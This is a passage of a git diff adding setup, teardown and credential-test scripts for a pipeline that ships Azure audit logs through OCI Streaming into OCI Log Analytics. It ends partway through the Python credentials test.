"$DISC_OCI_STREAM_POOL_ID" ]]; then + POOL_ID="$DISC_OCI_STREAM_POOL_ID" + ok "Reusing existing pool: ${POOL_ID:0:50}..." +else + if [[ "$SETUP_MODE" == "create" && -n "$DISC_OCI_STREAM_POOL_ID" ]]; then + # Creating new alongside existing + STREAM_POOL_NAME="$(prompt_required "New stream pool name" "${STREAM_POOL_NAME}_2")" + fi + POOL_ID=$(oci streaming admin stream-pool create \ + --compartment-id "$OCI_COMPARTMENT_ID" \ + --name "$STREAM_POOL_NAME" \ + --query 'data.id' --raw-output \ + --wait-for-state ACTIVE \ + --max-wait-seconds 120) + ok "Pool created: ${POOL_ID:0:50}..." +fi + +# ── 2. Stream ──────────────────────────────────────────────── +echo "2/7 Stream: $STREAM_NAME" + +if [[ "$SETUP_MODE" == "reuse" && -n "$DISC_OCI_STREAM_ID" ]]; then + STREAM_ID="$DISC_OCI_STREAM_ID" + ok "Reusing existing stream: ${STREAM_ID:0:50}..." +else + if [[ "$SETUP_MODE" == "create" && -n "$DISC_OCI_STREAM_ID" ]]; then + STREAM_NAME="$(prompt_required "New stream name" "${STREAM_NAME}-2")" + fi + STREAM_ID=$(oci streaming admin stream create \ + --name "$STREAM_NAME" \ + --partitions "$PARTITIONS" \ + --stream-pool-id "$POOL_ID" \ + --query 'data.id' --raw-output \ + --wait-for-state ACTIVE \ + --max-wait-seconds 120) + ok "Stream created: ${STREAM_ID:0:50}..." +fi + +# ── 3. Kafka Connection Info ───────────────────────────────── +echo "3/7 Retrieving Kafka connection details..." +POOL_INFO=$(oci streaming admin stream-pool get --stream-pool-id "$POOL_ID") +KAFKA_ENDPOINT=$(echo "$POOL_INFO" | python3 -c " +import sys, json +d = json.load(sys.stdin) +settings = d.get('data', {}).get('kafka-settings', {}) +print(settings.get('bootstrap-servers', 'N/A')) +" 2>/dev/null || echo "N/A") +ok "Bootstrap servers: $KAFKA_ENDPOINT" + +# ── 4. Log Analytics Log Group ─────────────────────────────── +echo "4/7 Log Analytics Log Group: $LOG_GROUP_NAME" + +if [[ "$SETUP_MODE" == "reuse" && -n "$DISC_OCI_LOG_GROUP_ID" ]]; then + LOG_GROUP_ID="$DISC_OCI_LOG_GROUP_ID" + ok "Reusing existing log group: ${LOG_GROUP_ID:0:50}..." +else + if [[ "$SETUP_MODE" == "create" && -n "$DISC_OCI_LOG_GROUP_ID" ]]; then + LOG_GROUP_NAME="$(prompt_required "New log group name" "${LOG_GROUP_NAME}-2")" + fi + # Try to create; if it already exists (409), look it up and reuse + LOG_GROUP_ID=$(oci log-analytics log-group create \ + --compartment-id "$OCI_COMPARTMENT_ID" \ + --namespace-name "$NAMESPACE" \ + --display-name "$LOG_GROUP_NAME" \ + --description "Azure log imports via azurelogs2oci pipeline" \ + --query 'data.id' --raw-output 2>/dev/null) || true + if [[ -z "$LOG_GROUP_ID" || "$LOG_GROUP_ID" == "null" ]]; then + info "Log group '$LOG_GROUP_NAME' already exists, looking it up..." + LOG_GROUP_ID=$(oci log-analytics log-group list \ + --compartment-id "$OCI_COMPARTMENT_ID" \ + --namespace-name "$NAMESPACE" \ + --display-name "$LOG_GROUP_NAME" \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + if [[ -n "$LOG_GROUP_ID" && "$LOG_GROUP_ID" != "null" ]]; then + ok "Reusing existing log group: ${LOG_GROUP_ID:0:50}..." + else + err "Could not create or find log group '$LOG_GROUP_NAME'" + exit 1 + fi + else + ok "Log Group created: ${LOG_GROUP_ID:0:50}..." + fi +fi + +# ── 5. Create Log Analytics fields, parser, and source ──────── +echo "5/7 Creating Azure log fields, parser, and source..." +export LA_NAMESPACE="$NAMESPACE" +export OCI_COMPARTMENT_ID +export OCI_USER_OCID OCI_FINGERPRINT OCI_TENANCY_OCID OCI_REGION +export OCI_KEY_CONTENT OCI_KEY_FILE OCI_KEY_PASSPHRASE + +python3 "$REPO_ROOT/stack/scripts/setup_log_analytics.py" +ok "Log Analytics custom content created (38 fields, 2 parsers, source)" + +# ── 6. Create Service Connector Hub ────────────────────────── +echo "6/7 Creating Service Connector Hub: $SCH_NAME" + +SCH_ID="" +if [[ "$SETUP_MODE" == "reuse" && -n "$DISC_OCI_SCH_ID" ]]; then + SCH_ID="$DISC_OCI_SCH_ID" + ok "Reusing existing SCH: ${SCH_ID:0:50}..." +else + if [[ "$SETUP_MODE" == "create" && -n "$DISC_OCI_SCH_ID" ]]; then + SCH_NAME="$(prompt_required "New SCH name" "${SCH_NAME}-2")" + fi + + # Source: OCI Streaming + cat > /tmp/azure_sch_source.json << JSONEOF +{ + "kind": "streaming", + "streamId": "$STREAM_ID", + "cursor": {"kind": "TRIM_HORIZON"} +} +JSONEOF + # Target: Log Analytics (logSourceIdentifier uses the source internal name) + cat > /tmp/azure_sch_target.json << JSONEOF +{ + "kind": "loggingAnalytics", + "logGroupId": "$LOG_GROUP_ID", + "logSourceIdentifier": "azureLogsSource" +} +JSONEOF + + # SCH create is async (returns work request, not resource). + # Fire the create, then look up the OCID by display name. + oci sch service-connector create \ + --compartment-id "$OCI_COMPARTMENT_ID" \ + --display-name "$SCH_NAME" \ + --description "Forwards Azure logs from OCI Streaming to Log Analytics ($LOG_GROUP_NAME group)" \ + --source file:///tmp/azure_sch_source.json \ + --target file:///tmp/azure_sch_target.json \ + >/dev/null 2>&1 || true + + # Wait briefly, then resolve the OCID from the list API + info "Waiting for SCH to appear..." + attempts=0 + SCH_ID="" + while [[ -z "$SCH_ID" || "$SCH_ID" == "null" ]] && [[ $attempts -lt 12 ]]; do + sleep 5 + SCH_ID=$(oci sch service-connector list \ + --compartment-id "$OCI_COMPARTMENT_ID" \ + --display-name "$SCH_NAME" \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + ((attempts++)) + done + + if [[ -n "$SCH_ID" && "$SCH_ID" != "null" ]]; then + ok "SCH created: ${SCH_ID:0:50}..." + else + warn "SCH creation may need manual setup (check IAM policies)" + info "Required policy: Allow any-user to {STREAM_READ, STREAM_CONSUME} in compartment " + info " Allow any-user to use loganalytics-log-group in compartment " + fi +fi + +# ── Cleanup temp files ──────────────────────────────────────── +rm -f /tmp/azure_sch_source.json /tmp/azure_sch_target.json 2>/dev/null + +# ── Derive message endpoint from Kafka bootstrap ───────────── +MSG_ENDPOINT="" +if [[ "$KAFKA_ENDPOINT" != "N/A" ]]; then + MSG_ENDPOINT="https://$(echo "$KAFKA_ENDPOINT" | cut -d: -f1)" +fi + +# ── Persist all OCIDs to .env.local ─────────────────────────── +info "Persisting resource IDs to $ENV_PATH..." +update_env_var "OCI_STREAM_POOL_ID" "$POOL_ID" "$ENV_PATH" +update_env_var "OCI_STREAM_POOL_NAME" "$STREAM_POOL_NAME" "$ENV_PATH" +update_env_var "OCI_STREAM_OCID" "$STREAM_ID" "$ENV_PATH" +update_env_var "OCI_STREAM_NAME" "$STREAM_NAME" "$ENV_PATH" +update_env_var "OCI_LOG_GROUP_ID" "$LOG_GROUP_ID" "$ENV_PATH" +update_env_var "OCI_LOG_GROUP_NAME" "$LOG_GROUP_NAME" "$ENV_PATH" +update_env_var "OCI_LOG_ANALYTICS_NAMESPACE" "$NAMESPACE" "$ENV_PATH" +update_env_var "OCI_COMPARTMENT_ID" "$OCI_COMPARTMENT_ID" "$ENV_PATH" +if [[ -n "$SCH_ID" && "$SCH_ID" != "null" ]]; then + update_env_var "OCI_SCH_ID" "$SCH_ID" "$ENV_PATH" +fi +update_env_var "OCI_SCH_NAME" "$SCH_NAME" "$ENV_PATH" +if [[ -n "$MSG_ENDPOINT" ]]; then + update_env_var "OCI_MESSAGE_ENDPOINT" "$MSG_ENDPOINT" "$ENV_PATH" +fi +ok "Resource IDs saved to .env.local" + +echo "" +echo "============================================================" +echo " OCI Log Analytics Setup Complete" +echo "============================================================" +echo "" +echo "Persisted to .env.local:" +echo " OCI_STREAM_OCID=$STREAM_ID" +echo " OCI_STREAM_POOL_ID=$POOL_ID" +if [[ -n "$MSG_ENDPOINT" ]]; then + echo " OCI_MESSAGE_ENDPOINT=$MSG_ENDPOINT" +fi +echo " OCI_LOG_ANALYTICS_NAMESPACE=$NAMESPACE" +echo " OCI_COMPARTMENT_ID=$OCI_COMPARTMENT_ID" +echo " OCI_LOG_GROUP_NAME=$LOG_GROUP_NAME" +echo " OCI_LOG_GROUP_ID=$LOG_GROUP_ID" +echo " OCI_SCH_NAME=$SCH_NAME" +if [[ -n "$SCH_ID" && "$SCH_ID" != "null" ]]; then + echo " OCI_SCH_ID=$SCH_ID" +fi +echo "" +echo "Pipeline:" +echo " Azure Event Hub (EntraID Audit Logs)" +echo " → Azure Function (Event Hub trigger + Cloud Provider enrichment)" +echo " → OCI Stream: $STREAM_NAME" +echo " → SCH: $SCH_NAME" +echo " → Log Analytics: $LOG_GROUP_NAME (source: $SOURCE_NAME)" +echo "" +echo "Query example:" +echo " 'Cloud Provider' = 'Azure' | stats count by 'Azure Operation'" +echo "" +echo "Next steps:" +echo " 1. Run: ./scripts/drain_eventhub_to_oci.sh --from-beginning" +echo " 2. Verify in OCI Log Analytics Log Explorer" +echo "" diff --git a/observability-and-management/assets/azurelogs2oci/scripts/teardown_azurelogs2oci.sh b/observability-and-management/assets/azurelogs2oci/scripts/teardown_azurelogs2oci.sh new file mode 100644 index 000000000..a0d80ae97 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/teardown_azurelogs2oci.sh @@ -0,0 +1,329 @@ +#!/usr/bin/env bash +# ───────────────────────────────────────────────────────────── +# teardown_azurelogs2oci.sh – Delete Azure + OCI resources +# created by the azurelogs2oci pipeline. +# +# Usage: +# ./scripts/teardown_azurelogs2oci.sh [flags] +# +# Flags: +# --all Both Azure + OCI (default) +# --azure-only Azure resources only +# --oci-only OCI resources only +# --dry-run Show what would be deleted +# --force Skip confirmation prompts +# --purge-la Delete Log Analytics content (source, parser, fields) +# By default, LA content is kept to preserve historical logs +# --keep-rg Delete Azure resources but keep the Resource Group +# ───────────────────────────────────────────────────────────── +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +ENV_PATH="$REPO_ROOT/.env.local" + +# shellcheck source=lib/common.sh +source "$SCRIPT_DIR/lib/common.sh" +# shellcheck source=discover_resources.sh +source "$SCRIPT_DIR/discover_resources.sh" + +# ── Parse flags ────────────────────────────────────────────── +SCOPE="all" # all | azure | oci +DRY_RUN=false +FORCE=false +PURGE_LA=false # By default, keep LA content (source, parser, fields) +KEEP_RG=false + +while [[ $# -gt 0 ]]; do + case "$1" in + --all) SCOPE="all"; shift ;; + --azure-only) SCOPE="azure"; shift ;; + --oci-only) SCOPE="oci"; shift ;; + --dry-run) DRY_RUN=true; shift ;; + --force) FORCE=true; shift ;; + --purge-la) PURGE_LA=true; shift ;; + --keep-rg) KEEP_RG=true; shift ;; + --help|-h) + cat <&1) + local rc=$? + set -e + if [[ $rc -eq 0 ]]; then + ok "Deleted: $label" + elif echo "$output" | grep -qi "404\|NotFound\|not found\|does not exist\|NoSuchResource"; then + ok "Already deleted: $label" + else + warn "Failed to delete $label (rc=$rc): $(echo "$output" | head -3)" + fi +} + +# ── OCI Teardown ───────────────────────────────────────────── +teardown_oci() { + info "Starting OCI teardown..." + echo "" + + local compartment="$OCI_COMPARTMENT_ID" + if [[ -z "$compartment" ]]; then + warn "OCI_COMPARTMENT_ID not set; cannot tear down OCI resources." + return 1 + fi + + # 1. Service Connector Hub + echo " 1/5 Service Connector Hub" + if [[ -n "$DISC_OCI_SCH_ID" ]]; then + if [[ "$DRY_RUN" == true ]]; then + info "${MODE}Would delete SCH: ${DISC_OCI_SCH_ID:0:50}..." + else + # Deactivate first if needed (only ACTIVE or INACTIVE can be deleted) + local sch_state + sch_state=$(oci sch service-connector get \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --query 'data."lifecycle-state"' --raw-output 2>/dev/null || echo "UNKNOWN") + + if [[ "$sch_state" == "ACTIVE" ]]; then + info "Deactivating SCH before deletion..." + oci sch service-connector deactivate \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --wait-for-state SUCCEEDED \ + --max-wait-seconds 120 >/dev/null 2>&1 || true + fi + + safe_delete "SCH: $DISC_OCI_SCH_NAME" \ + oci sch service-connector delete \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --force \ + --wait-for-state SUCCEEDED \ + --max-wait-seconds 300 + fi + # Clear from .env.local + [[ "$DRY_RUN" != true ]] && update_env_var "OCI_SCH_ID" "" "$ENV_PATH" + else + ok "SCH: not found (nothing to delete)" + fi + + # 2. LA Source + Parser + Fields + echo "" + echo " 2/5 Log Analytics custom content (source, parser, fields)" + local namespace="${DISC_OCI_NAMESPACE:-$OCI_LOG_ANALYTICS_NAMESPACE}" + if [[ "$PURGE_LA" != true ]]; then + info "Keeping LA content (source, parser, fields) for historical logs." + info "Use --purge-la to delete LA content." + elif [[ -n "$namespace" ]]; then + export LA_NAMESPACE="$namespace" + export OCI_COMPARTMENT_ID="$compartment" + + local py_args=() + [[ "$DRY_RUN" == true ]] && py_args+=(--dry-run) + + python3 "$SCRIPT_DIR/teardown_oci_log_analytics.py" ${py_args[@]+"${py_args[@]}"} + else + warn "Log Analytics namespace unknown; skipping LA content teardown." + fi + + # 3. Log Group + echo "" + echo " 3/5 Log Analytics Log Group" + if [[ -n "$DISC_OCI_LOG_GROUP_ID" && -n "$namespace" ]]; then + safe_delete "Log Group: $DISC_OCI_LOG_GROUP_NAME" \ + oci log-analytics log-group delete \ + --namespace-name "$namespace" \ + --log-group-id "$DISC_OCI_LOG_GROUP_ID" \ + --force + [[ "$DRY_RUN" != true ]] && update_env_var "OCI_LOG_GROUP_ID" "" "$ENV_PATH" + else + ok "Log Group: not found (nothing to delete)" + fi + + # 4. Stream + echo "" + echo " 4/5 Stream" + if [[ -n "$DISC_OCI_STREAM_ID" ]]; then + safe_delete "Stream: $DISC_OCI_STREAM_NAME" \ + oci streaming admin stream delete \ + --stream-id "$DISC_OCI_STREAM_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 120 + [[ "$DRY_RUN" != true ]] && update_env_var "OCI_STREAM_OCID" "" "$ENV_PATH" + else + ok "Stream: not found (nothing to delete)" + fi + + # 5. Stream Pool + echo "" + echo " 5/5 Stream Pool" + if [[ -n "$DISC_OCI_STREAM_POOL_ID" ]]; then + safe_delete "Stream Pool: $DISC_OCI_STREAM_POOL_NAME" \ + oci streaming admin stream-pool delete \ + --stream-pool-id "$DISC_OCI_STREAM_POOL_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 120 + [[ "$DRY_RUN" != true ]] && update_env_var "OCI_STREAM_POOL_ID" "" "$ENV_PATH" + else + ok "Stream Pool: not found (nothing to delete)" + fi + + echo "" + ok "OCI teardown complete." +} + +# ── Azure Teardown ─────────────────────────────────────────── +teardown_azure() { + info "Starting Azure teardown..." + echo "" + + if ! command -v az >/dev/null 2>&1; then + warn "az CLI not found; cannot tear down Azure resources." + return 1 + fi + + if [[ "$DISC_AZ_RG_EXISTS" != "true" ]]; then + ok "Resource group '$AZ_RG' does not exist (nothing to delete)." + return 0 + fi + + if [[ "$KEEP_RG" == true ]]; then + # Delete individual resources within the RG + info "Deleting Azure resources individually (--keep-rg)..." + + # Function App + if [[ "$DISC_AZ_FUNCTION_APP_EXISTS" == "true" && -n "$AZ_FUNCTION_APP" ]]; then + safe_delete "Function App: $AZ_FUNCTION_APP" \ + az functionapp delete -g "$AZ_RG" -n "$AZ_FUNCTION_APP" + fi + + # Storage Account + if [[ "$DISC_AZ_STORAGE_ACCOUNT_EXISTS" == "true" && -n "$AZ_STORAGE_ACCOUNT" ]]; then + safe_delete "Storage Account: $AZ_STORAGE_ACCOUNT" \ + az storage account delete -g "$AZ_RG" -n "$AZ_STORAGE_ACCOUNT" --yes + fi + + # Event Hubs Namespace (cascades to all hubs) + if [[ "$DISC_AZ_EVENTHUB_NS_EXISTS" == "true" && -n "$EVENTHUB_NAMESPACE" ]]; then + safe_delete "Event Hubs Namespace: $EVENTHUB_NAMESPACE" \ + az eventhubs namespace delete --resource-group "$AZ_RG" --name "$EVENTHUB_NAMESPACE" + fi + + ok "Azure resources deleted (resource group '$AZ_RG' kept)." + else + # Cascade delete entire resource group + safe_delete "Resource Group: $AZ_RG (and all contained resources)" \ + az group delete -n "$AZ_RG" --yes --no-wait + ok "Azure resource group deletion initiated (runs in background)." + fi + + echo "" + ok "Azure teardown complete." +} + +# ── Execute teardown ───────────────────────────────────────── +if [[ "$SCOPE" == "all" || "$SCOPE" == "oci" ]]; then + teardown_oci || true +fi + +if [[ "$SCOPE" == "all" || "$SCOPE" == "azure" ]]; then + teardown_azure || true +fi + +echo "" +echo "============================================================" +echo " ${MODE}Teardown Complete" +echo "============================================================" +if [[ "$DRY_RUN" == true ]]; then + info "No resources were deleted (dry-run mode)." + info "Remove --dry-run to perform actual deletion." +else + info "All targeted resources have been deleted or deletion initiated." + info "Run setup scripts to recreate: ./scripts/setup_oci_log_analytics.sh" +fi +echo "" diff --git a/observability-and-management/assets/azurelogs2oci/scripts/teardown_oci_log_analytics.py b/observability-and-management/assets/azurelogs2oci/scripts/teardown_oci_log_analytics.py new file mode 100644 index 000000000..5bed9d024 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/teardown_oci_log_analytics.py @@ -0,0 +1,301 @@ +#!/usr/bin/env python3 +# ----------------------------------------------------------------- +# teardown_oci_log_analytics.py +# +# Delete OCI Log Analytics custom content created by +# setup_log_analytics.py / setup_oci_log_analytics.sh: +# 1. Source (azureLogsSource) +# 2. Parsers (azureEntraIDAuditJsonParser, azureDiagnosticLogJsonParser) +# 3. Fields (37 Azure-prefixed fields; "Cloud Provider" excluded) +# +# Auth (tried in order, same as setup_log_analytics.py): +# 1. OCI Resource Principal +# 2. OCI config file (~/.oci/config) +# 3. Environment variables +# +# Flags: +# --dry-run Show what would be deleted without deleting +# --keep-fields Skip field deletion (keep fields for shared use) +# +# Required env: +# LA_NAMESPACE Log Analytics namespace +# OCI_COMPARTMENT_ID Compartment OCID +# ----------------------------------------------------------------- +import argparse +import json +import os +import subprocess +import sys + +try: + import oci +except ImportError: + print("ERROR: OCI Python SDK not found. Install with: pip install oci") + sys.exit(1) + + +# -- Authentication (mirrors setup_log_analytics.py) --------------- + +def get_client(): + """Build LogAnalyticsClient with auto-detected auth.""" + + # 1. Resource Principal + if os.environ.get("OCI_RESOURCE_PRINCIPAL_VERSION"): + signer = oci.auth.signers.get_resource_principals_signer() + return oci.log_analytics.LogAnalyticsClient({}, signer=signer) + + # 2. OCI config file + try: + config = oci.config.from_file() + oci.config.validate_config(config) + return oci.log_analytics.LogAnalyticsClient(config) + except Exception: + pass + + # 3. Environment variables + key_file = os.environ.get("OCI_KEY_FILE") + key_content = os.environ.get("OCI_KEY_CONTENT") + if key_file: + with open(os.path.expanduser(key_file)) as f: + key_pem = f.read() + elif key_content: + # Normalize PEM: handle escaped newlines from .env files + key_pem = key_content.replace("\\n", "\n").strip() + else: + print("ERROR: No OCI credentials found.") + print(" Set OCI config file (~/.oci/config), OCI_KEY_FILE, or") + print(" run inside OCI Resource Manager.") + sys.exit(1) + + config = { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ.get("OCI_REGION", ""), + } + return oci.log_analytics.LogAnalyticsClient(config) + + +# -- Constants ----------------------------------------------------- + +SOURCE_NAME = "Azure Logs" +SOURCE_INTERNAL_NAME = "azureLogsSource" +PARSER_NAMES = [ + "azureEntraIDAuditJsonParser", + "azureDiagnosticLogJsonParser", +] + +# Fields to delete (Azure-prefixed only; "Cloud Provider" is shared with gcplogs2oci) +AZURE_FIELD_DISPLAY_NAMES = [ + # EntraID / Unified Audit Log fields + "Azure Time Generated", + "Azure Event ID", + "Azure Operation", + "Azure Record Type", + "Azure Result Status", + "Azure User Type", + "Azure User ID", + "Azure User Key", + "Azure Workload", + "Azure Object ID", + "Azure Client IP", + "Azure Organization ID", + "Azure Schema Version", + "Azure Creation Time", + "Azure AD Event Type", + "Azure Actor Context ID", + "Azure Actor IP Address", + "Azure Inter Systems ID", + "Azure Intra System ID", + "Azure Target Context ID", + "Azure Application ID", + # Azure Monitor Diagnostic / Activity Log fields + "Azure Resource ID", + "Azure Resource Group", + "Azure Resource Type", + "Azure Resource Provider", + "Azure Subscription ID", + "Azure Correlation ID", + "Azure Caller", + "Azure Level", + "Azure Tenant ID", + "Azure Location", + "Azure Category", + "Azure Duration Ms", + "Azure Result Type", + "Azure Result Signature", + "Azure Result Description", + "Azure Caller IP", +] + + +# -- Deletion Functions -------------------------------------------- + +def delete_source(client, namespace, compartment_id, dry_run=False): + """Delete the LA source via oci CLI subprocess.""" + print(f" Source: {SOURCE_NAME}") + + # Check if source exists + try: + existing = client.list_sources( + namespace, compartment_id, + name=SOURCE_NAME, is_system="ALL", + ) + if not existing.data.items: + print(" -> already deleted (not found)") + return + except oci.exceptions.ServiceError as e: + if e.status == 404: + print(" -> already deleted (404)") + return + raise + + if dry_run: + print(" -> would delete (dry-run)") + return + + # Use oci CLI for source deletion (SDK source delete is complex) + cmd = [ + "oci", "log-analytics", "source", "delete-source", + "--namespace-name", namespace, + "--source-name", SOURCE_INTERNAL_NAME, + "--force", + ] + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode == 0: + print(" -> deleted") + elif "404" in result.stderr or "NotFound" in result.stderr: + print(" -> already deleted (404)") + else: + print(f" -> warning: {result.stderr[:200]}") + + +def delete_parsers(client, namespace, dry_run=False): + """Delete all JSON parsers.""" + for parser_name in PARSER_NAMES: + print(f" Parser: {parser_name}") + + try: + client.get_parser(namespace, parser_name) + except oci.exceptions.ServiceError as e: + if e.status == 404: + print(" -> already deleted (404)") + continue + raise + + if dry_run: + print(" -> would delete (dry-run)") + continue + + try: + client.delete_parser(namespace, parser_name) + print(" -> deleted") + except oci.exceptions.ServiceError as e: + if e.status == 404: + print(" -> already deleted (404)") + else: + print(f" -> warning: {e.message}") + + +def delete_fields(client, namespace, dry_run=False): + """Delete Azure-prefixed custom fields (excludes Cloud Provider).""" + print(f" Fields: {len(AZURE_FIELD_DISPLAY_NAMES)} Azure-prefixed fields") + print(" (Cloud Provider excluded — shared with gcplogs2oci)") + + deleted = 0 + skipped = 0 + for display_name in AZURE_FIELD_DISPLAY_NAMES: + # Find the internal field name using the filter parameter + internal_name = None + try: + # Use filter param to search by display name + fields = client.list_fields( + namespace, filter=display_name + ).data.items + for f in fields: + if f.display_name == display_name: + internal_name = f.name + break + except oci.exceptions.ServiceError: + pass + + if not internal_name: + skipped += 1 + continue + + if dry_run: + print(f" {internal_name:30s} ({display_name}) -> would delete") + deleted += 1 + continue + + try: + client.delete_field(namespace, internal_name) + print(f" {internal_name:30s} ({display_name}) -> deleted") + deleted += 1 + except oci.exceptions.ServiceError as e: + if e.status == 404: + skipped += 1 + elif e.status == 409: + print(f" {internal_name:30s} ({display_name}) -> in use, skipped") + skipped += 1 + else: + print(f" {internal_name:30s} ({display_name}) -> error: {e.message}") + skipped += 1 + + action = "would delete" if dry_run else "deleted" + print(f" Total: {action} {deleted}, skipped {skipped}") + + +# -- Main ---------------------------------------------------------- + +def main(): + parser = argparse.ArgumentParser( + description="Delete OCI Log Analytics custom content for azurelogs2oci" + ) + parser.add_argument("--dry-run", action="store_true", + help="Show what would be deleted without deleting") + parser.add_argument("--keep-fields", action="store_true", + help="Skip field deletion entirely") + args = parser.parse_args() + + namespace = os.environ.get("LA_NAMESPACE") + compartment_id = os.environ.get("OCI_COMPARTMENT_ID") + + if not namespace: + print("ERROR: LA_NAMESPACE environment variable is required") + sys.exit(1) + if not compartment_id: + print("ERROR: OCI_COMPARTMENT_ID environment variable is required") + sys.exit(1) + + mode = "[DRY RUN] " if args.dry_run else "" + print(f"{mode}Teardown OCI Log Analytics custom content") + print(f" Namespace: {namespace}") + print(f" Compartment: {compartment_id[:40]}...") + print() + + client = get_client() + + # Delete in reverse dependency order: source -> parser -> fields + print("--- Deleting source ---") + delete_source(client, namespace, compartment_id, args.dry_run) + print() + + print("--- Deleting parsers ---") + delete_parsers(client, namespace, args.dry_run) + print() + + if args.keep_fields: + print("--- Skipping field deletion (--keep-fields) ---") + else: + print("--- Deleting fields ---") + delete_fields(client, namespace, args.dry_run) + print() + + print(f"{mode}Log Analytics teardown complete.") + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/azurelogs2oci/scripts/test_oci_credentials.py b/observability-and-management/assets/azurelogs2oci/scripts/test_oci_credentials.py new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/azurelogs2oci/scripts/test_oci_simple.py b/observability-and-management/assets/azurelogs2oci/scripts/test_oci_simple.py new file mode 100644 index 000000000..cbab941c9 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/test_oci_simple.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +""" +Simple OCI credentials test - focuses on authentication without Azure Functions dependencies +""" + +import os +import sys +import re +from dotenv import load_dotenv + +def env_value(*names: str) -> str: + for name in names: + value = os.getenv(name) + if value: + return value + return "" + +def parse_key(key_input: str) -> str: + """Parse OCI private key from single-line format into PEM, tolerating trailing text""" + try: + import textwrap + + normalized = (key_input or "").replace("\\n", "\n").strip() + + begin_line = re.search(r'-----BEGIN [A-Z ]+-----', normalized).group() + end_line = re.search(r'-----END [A-Z ]+-----', normalized).group() + + # Only keep the block between BEGIN/END to avoid extra tokens after the key + key_block = normalized[normalized.index(begin_line) + len(begin_line) : normalized.index(end_line)] + + encr_lines = '' + proc_type_line = re.search(r'Proc-Type: [^\n]+', key_block) + dec_info_line = re.search(r'DEK-Info: [^\n]+', key_block) + if proc_type_line: + encr_lines += proc_type_line.group().strip() + '\n' + key_block = key_block.replace(proc_type_line.group(), '') + if dec_info_line: + encr_lines += dec_info_line.group().strip() + '\n' + key_block = key_block.replace(dec_info_line.group(), '') + + # Remove whitespace and wrap lines to PEM-friendly lengths + body_compact = re.sub(r'\s+', '', key_block) + wrapped_body = '\n'.join(textwrap.wrap(body_compact, 64)) + + parts = [begin_line] + if encr_lines: + parts.append(encr_lines.rstrip('\n')) + parts.append(wrapped_body) + parts.append(end_line) + return '\n'.join(parts) + except Exception: + raise Exception('Error while reading private key.') + +def mask(value: str, keep: int = 6) -> str: + """Mask secrets for logging.""" + if not value: + return "" + if len(value) <= keep: + return "***" + return f"{value[:keep]}...***" + +def test_oci_credentials(): + """Test OCI credentials without Azure Functions dependencies""" + + print("=" * 80) + print("🧪 OCI Credentials Test (Simplified)") + print("=" * 80) + print() + + # Try to load .env.local first, then legacy .env + env_candidates = [ + os.path.join(os.path.dirname(__file__), '.env.local'), + os.path.join(os.path.dirname(__file__), '..', '.env.local'), + os.path.join(os.path.dirname(__file__), '..', '.env'), + os.path.join(os.path.dirname(__file__), '..', 'function', 'EventHubsNamespaceToOCIStreaming', '.env.local'), + os.path.join(os.path.dirname(__file__), '..', 'function', 'EventHubsNamespaceToOCIStreaming', '.env') + ] + + env_loaded = False + for env_file in env_candidates: + if os.path.exists(env_file): + print(f"📄 Loading environment from: {env_file}") + load_dotenv(env_file) + env_loaded = True + break + + if not env_loaded: + print("❌ No .env.local or .env file found in candidate locations") + + # Check environment variables + required_vars = [ + ('user', ('user',)), + ('key_content', ('key_content',)), + ('fingerprint', ('fingerprint',)), + ('tenancy', ('tenancy',)), + ('region', ('region',)), + ('MessageEndpoint', ('OCI_MESSAGE_ENDPOINT', 'MessageEndpoint')), + ('StreamOcid', ('OCI_STREAM_OCID', 'StreamOcid')), + ] + + print("\n🔍 Environment Variables Check:") + all_present = True + for label, candidates in required_vars: + value = env_value(*candidates) + if value: + print(f" ✅ {label}: {mask(value)}") + else: + print(f" ❌ {label}: NOT SET") + all_present = False + + if not all_present: + print("\n❌ Missing required OCI environment variables!") + print("\n🔧 For Azure Function deployment, ensure these are set in:") + print(" Azure Portal → Function App → Configuration → Application Settings") + print("\nRequired variables:") + for label, _ in required_vars: + print(f" - {label}") + return False + + # Test OCI config building + try: + print("\n🔧 Testing OCI Configuration Building...") + + cfg = { + "user": os.environ['user'], + "key_content": parse_key(os.environ['key_content']), + "pass_phrase": os.environ.get('pass_phrase', ''), + "fingerprint": os.environ['fingerprint'], + "tenancy": os.environ['tenancy'], + "region": os.environ['region'] + } + + print("✅ OCI configuration built successfully") + + # Test OCI SDK validation + import oci + oci.config.validate_config(cfg) + print("✅ OCI configuration validation passed") + + # Test endpoint and stream OCID + endpoint = env_value("OCI_MESSAGE_ENDPOINT", "MessageEndpoint") + stream_ocid = env_value("OCI_STREAM_OCID", "StreamOcid") + + if "streampool" in stream_ocid: + print("❌ StreamOcid appears to be a Stream Pool OCID, not a Stream OCID") + print(" Use the Stream OCID (ocid1.stream.oc1...) instead") + return False + + print(f"✅ Message endpoint: {mask(endpoint)}") + print(f"✅ Stream OCID: {mask(stream_ocid)}") + + # Test Stream client initialization + print("\n🌐 Testing OCI Stream Client Initialization...") + stream_client = oci.streaming.StreamClient(cfg, service_endpoint=endpoint) + admin_client = oci.streaming.StreamAdminClient(cfg) + print("✅ OCI Stream client initialized successfully") + + # Test authentication with a simple API call + print("\n🔐 Testing OCI Authentication via StreamAdminClient.get_stream...") + try: + response = admin_client.get_stream(stream_ocid) + print("✅ OCI authentication successful!") + print(f" Stream name: {response.data.name}") + print(f" Stream state: {response.data.lifecycle_state}") + + except oci.exceptions.ServiceError as e: + if 